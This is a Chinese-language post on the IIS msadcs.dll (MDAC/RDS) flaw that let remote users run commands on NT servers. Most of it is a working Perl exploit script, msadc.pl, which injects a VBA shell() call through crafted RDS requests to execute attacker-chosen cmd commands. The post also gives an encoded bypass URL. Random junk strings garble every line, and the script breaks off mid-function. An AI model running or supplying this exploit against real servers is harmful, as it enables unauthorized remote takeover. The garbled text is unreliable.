IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
sM0c#YK? 4UazD_`' 涉及程序:
-g<cinNSp Microsoft NT server
tnNZ`]qY Lv^a+' 描述:
v2(U(Tt 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Kf&r21h u
IF$u 详细:
6_Fpca3L 如果你没有时间读详细内容的话,就删除:
*<?XTs< c:\Program Files\Common Files\System\Msadc\msadcs.dll
0tSA|->( 有关的安全问题就没有了。
j]#wrm jPj2 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
KKV)DExv? f{f_g8f[ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!HvGlj@(| 关于利用ODBC远程漏洞的描述,请参看:
=s6E/K `M,Nd'5&| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xV?*!m$V%R $xQ"PJ2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
srvYAAE http://www.microsoft.com/security/bulletins/MS99-025faq.asp |
[p68v> "zXGp7Q'# 这里不再论述。
OM1*Iy F1E.\l 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*|@+rbjVC 2h5tBEOX.s /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\!m!ibr 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
BjwMb&a; $}V7(wu 6@ TJE%
U0Ln #将下面这段保存为txt文件,然后: "perl -x 文件名"
{$3j/b Wf_CR( #!perl
AmgWj/> #
j,Pwket # MSADC/RDS 'usage' (aka exploit) script
~NA1SZ{Y+ #
_jiQL66pY # by rain.forest.puppy
4Fh&V{`W #
`3]Rg0g&Xe # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
dG"K/| # beta test and find errors!
$R8>u#K! @pTD{OW? use Socket; use Getopt::Std;
SHytyd getopts("e:vd:h:XR", \%args);
O{Dm;@J-aM *O!T!J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Jk%'mEGE (21']x if (!defined $args{h} && !defined $args{R}) {
zUNH8=U print qq~
~v^%ze Usage: msadc.pl -h <host> { -d <delay> -X -v }
Ri9Kr -h <host> = host you want to scan (ip or domain)
:EYu 4Y -d <seconds> = delay between calls, default 1 second
56"#Syj -X = dump Index Server path table, if available
/ *AJ+K._ -v = verbose
poTl|y @ -e = external dictionary file for step 5
bkxk
i@t 4t,zHR6W Or a -R will resume a command session
oo;;y,`8py };i&a%I| ~; exit;}
c6f|y_2 D!c1;IHZ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
wwo(n$!\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
j!6elzg if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
E(7@'d{o if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
B:B8"ODV $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B{[f}h.n if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
R|nEd/'< ~?2rGE if (!defined $args{R}){ $ret = &has_msadc;
]jZiW1C*a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(zjz]@qJ bELIRM9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=fL6uFmxI@ . "cmd /c ";
E]e,cd $in=<STDIN>; chomp $in;
iTj"lA $command="cmd /c " . $in ;
UY1JB^J$ c*Eok?O if (defined $args{R}) {&load; exit;}
@47[vhE <jpe u^7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Rrh<mo(yj# &try_btcustmr;
m(8jSGV oNiToFbQu print "\nStep 2: Trying to make our own DSN...";
: =
]sq}IN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^fFtI?.6jI s"pR+)jf1D print "\nStep 3: Trying known DSNs...";
A4~D#V &known_dsn;
_!CK
pESB Il print "\nStep 4: Trying known .mdbs...";
{E;2&d &known_mdb;
w> Tyk#7lw IOSuaLH^ if (defined $args{e}){
e} sc]MTM print "\nStep 5: Trying dictionary of DSN names...";
ox!|)^`$_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
0@II& yjGGqz$ print "Sorry Charley...maybe next time?\n";
%zA2%cq< exit;
I{`KKui<M PN1(j| ##############################################################################
5%2ef{T[ -}=@
*See# sub sendraw { # ripped and modded from whisker
fR+Ov8PCq sleep($delay); # it's a DoS on the server! At least on mine...
7p
P| my ($pstr)=@_;
R4&|t socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X{5v?4wI die("Socket problems\n");
7JxE|G if(connect(S,pack "SnA4x8",2,80,$target)){
#[gcg]6c select(S); $|=1;
WF+bN#YJ print $pstr; my @in=<S>;
1mT|o_K{ T select(STDOUT); close(S);
~C}(\8g return @in;
?2JS&i } else { die("Can't connect...\n"); }}
z*Myokhf 9\AEyaJFZ ##############################################################################
7$g*N6)Q ^U-vD[O8 sub make_header { # make the HTTP request
Ymwx(Pm my $msadc=<<EOT
Sf+(1_^`t POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I>A^5nk User-Agent: ACTIVEDATA
bs<WH`P Host: $ip
=XZF.ur Content-Length: $clen
R=][>\7]} Connection: Keep-Alive
;FV~q{ !L&=?CX ADCClientVersion:01.06
-_y~rx
> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
t!J";l g28S3 '2 --!ADM!ROX!YOUR!WORLD!
8L]gQ g Content-Type: application/x-varg
5QqJI#4~ Content-Length: $reqlen
r~S!<9f S(g<<Te EOT
3EbnZb ; $msadc=~s/\n/\r\n/g;
[(D}%+2 return $msadc;}
NZfo`iHAN a}5vY ##############################################################################
O0K@M gp#bQ sub make_req { # make the RDS request
4f@havFIJ my ($switch, $p1, $p2)=@_;
k7z(Gbzu my $req=""; my $t1, $t2, $query, $dsn;
lU&`r:1>_ "@c';".| if ($switch==1){ # this is the btcustmr.mdb query
?#VP)A $query="Select * from Customers where City=" . make_shell();
N}8HK^n* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
b9W<1eqF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
syWv'Y[k? ;a!h.8UJPI elsif ($switch==2){ # this is general make table query
5~`|)~FA $query="create table AZZ (B int, C varchar(10))";
IQ(]66c, $dsn="$p1";}
$Nt=gSWw5 #Qtg\X
elsif ($switch==3){ # this is general exploit table query
+Op%,,Db $query="select * from AZZ where C=" . make_shell();
>)AE|j` $dsn="$p1";}
/tI d#/Y NPB ,q& Th elsif ($switch==4){ # attempt to hork file info from index server
8I5 VrT $query="select path from scope()";
"6`)vgI~ $dsn="Provider=MSIDXS;";}
wu&|~@_s@ b6LC$"t0 elsif ($switch==5){ # bad query
E]HND.`*> $query="select";
[I+)Ak5 $dsn="$p1";}
+WV_`Rx# Ux%\Y.PPI $t1= make_unicode($query);
^'C,WZt $t2= make_unicode($dsn);
1cHSgpoJ $req = "\x02\x00\x03\x00";
%S(#cf!HP $req.= "\x08\x00" . pack ("S1", length($t1));
6k@% +<1 $req.= "\x00\x00" . $t1 ;
T!=20 !I $req.= "\x08\x00" . pack ("S1", length($t2));
ZbZAx:L $req.= "\x00\x00" . $t2 ;
;y?D1o^r8W $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`>`K7-H return $req;}
eB(S+p? @w#gRQCl ##############################################################################
g|GvJ)VX + e5 sub make_shell { # this makes the shell() statement
Ab^>z return "'|shell(\"$command\")|'";}
l ) )~& ch)Ps2i ##############################################################################
C]\^B6l< :oon}_MdRd sub make_unicode { # quick little function to convert to unicode
M0;t%*1 my ($in)=@_; my $out;
K=!ZI/+ju for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2-cU -i4 return $out;}
ReHd~G9 \V"PmaP\ ##############################################################################
@MlU!oR& <WHs
sub rdo_success { # checks for RDO return success (this is kludge)
"a0u-}/D my (@in) = @_; my $base=content_start(@in);
SBN_>;$c5} if($in[$base]=~/multipart\/mixed/){
f}9PEpa,Z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&G7)s%q return 0;}
w{:Oa7_A C%95~\Ds ##############################################################################
zP{<0o NU)`js sub make_dsn { # this makes a DSN for us
UuOLv;v my @drives=("c","d","e","f");
gT5Ji~xI print "\nMaking DSN: ";
TQ 5MKqR$ foreach $drive (@drives) {
JucxhjV#, print "$drive: ";
i)ES;b4 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
HYI1 o/} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
bzj!d|T` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
+>i<sk $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)bIK0h return 0 if $2 eq "404"; # not found/doesn't exist
#v~S",*.f if($2 eq "200") {
z`xz~9a< foreach $line (@results) {
>F\rBc& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
XTi0,e]5{u } return 0;}
7n\j"0z (4{@oM#H6 ##############################################################################
?;.1fJU> sjkKaid sub verify_exists {
'^-4{Y^2E my ($page)=@_;
RBK>Lws6 my @results=sendraw("GET $page HTTP/1.0\n\n");
3"^)bGe return $results[0];}
G0 nH Z6 LDi ezi ##############################################################################
*OGXu07 ! @E"+qPp.3 sub try_btcustmr {
;@7#w my @drives=("c","d","e","f");
p^zEfLTU my @dirs=("winnt","winnt35","winnt351","win","windows");
%<ptkZK# ^7s6J{< foreach $dir (@dirs) {
~Q$c!=
print "$dir -> "; # fun status so you can see progress
@k:f}-t foreach $drive (@drives) {
wzQdKlV print "$drive: "; # ditto
1<qVN'[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.X<"pd*@e $reqlenlen=length( "$reqlen" );
0LHiOav $clen= 206 + $reqlenlen + $reqlen;
RESGI}u "13
:VTs[5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#/B~G.+( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
O275AxaN
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
IYM@(c@ld0 `~aLSpB65 ##############################################################################
u>Axq3F 6ImV5^l sub odbc_error {
/nMqEHCyg my (@in)=@_; my $base;
Vm1 c-,)3 my $base = content_start(@in);
$Op/5j if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
eFXi )tl $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HDW\S# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1z};"A $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
: DX/r return $in[$base+4].$in[$base+5].$in[$base+6];}
C1Pt3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`.sIZku print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[@. jL0> $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
">D(+ xr!) 1O3<%T#LOZ ##############################################################################
c;|&>Fp 1TxhE XB sub verbose {
[vjkU7;7A my ($in)=@_;
)oxP.K8q)U return if !$verbose;
sei!9+bZr print STDOUT "\n$in\n";}
/=U v o%~K4 M". ##############################################################################
kDpZnXP :J4C'N sub save {
"w|k\1D my ($p1, $p2, $p3, $p4)=@_;
IrwF
B open(OUT, ">rds.save") || print "Problem saving parameters...\n";
seD+~Y\z print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:jKXKY+T close OUT;}
#u=O 5%. Ff#N|L'9_ ##############################################################################
fN*4(yw ,YMdXYu`s sub load {
S5pP"&